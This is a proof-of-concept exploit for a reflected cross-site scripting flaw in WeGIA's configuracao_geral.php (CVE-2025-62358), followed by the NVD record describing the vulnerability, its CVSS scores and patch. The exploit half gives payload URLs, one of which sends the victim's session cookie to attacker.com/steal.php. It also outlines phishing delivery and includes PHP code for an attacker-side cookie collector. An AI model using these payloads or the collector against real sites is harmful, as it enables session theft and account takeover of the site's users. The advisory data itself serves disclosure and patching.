CVE-2025-62358

<!-- CVE-2025-62358: WeGIA Reflected XSS PoC --> <!-- Attack vector: Reflected XSS via 'log' parameter in configuracao_geral.php --> <!-- Target: WeGIA versions prior to 3.5.1 --> <!-- Step 1: Craft malicious URL with XSS payload in the 'log' parameter --> <!-- Example payload to steal session cookie --> https://target-wegia-host/configuracao_geral.php?log=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> <!-- Alternative payload using img tag onerror event --> https://target-wegia-host/configuracao_geral.php?log=<img src=x onerror=alert(document.cookie)> <!-- Alternative payload using SVG onload event --> https://target-wegia-host/configuracao_geral.php?log=<svg/onload=alert('XSS')> <!-- Step 2: Deliver the malicious URL to the victim via phishing email, IM, etc. --> <!-- Step 3: When victim clicks the link, the JavaScript executes in their browser context --> <!-- Step 4: Attacker's server (e.g., steal.php) receives the stolen cookie --> <?php // Example attacker-side cookie collector (steal.php) // This file would be hosted on the attacker's server /* $cookie = $_GET['cookie']; $log_file = 'stolen_cookies.txt'; file_put_contents($log_file, $cookie . "\n", FILE_APPEND); header('Location: https://legitimate-site.com'); */ ?>

{"cve": {"id": "CVE-2025-62358", "sourceIdentifier": "[email protected]", "published": "2025-10-13T22:15:33.057", "lastModified": "2025-10-20T16:02:20.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Prior to 3.5.1, the log parameter in configuracao_geral.php is vulnerable to Reflected Cross-Site Scripting (XSS). An attacker can inject arbitrary JavaScript, which executes in the victim’s browser. This vulnerability is fixed in 3.5.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.1", "matchCriteriaId": "0380F435-A37D-48F3-87E5-A2648574EDC0"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/commit/eddb9b134883cac5d0de770bfcca6e05bfcbd684", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-g6hr-2rhx-f8q4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}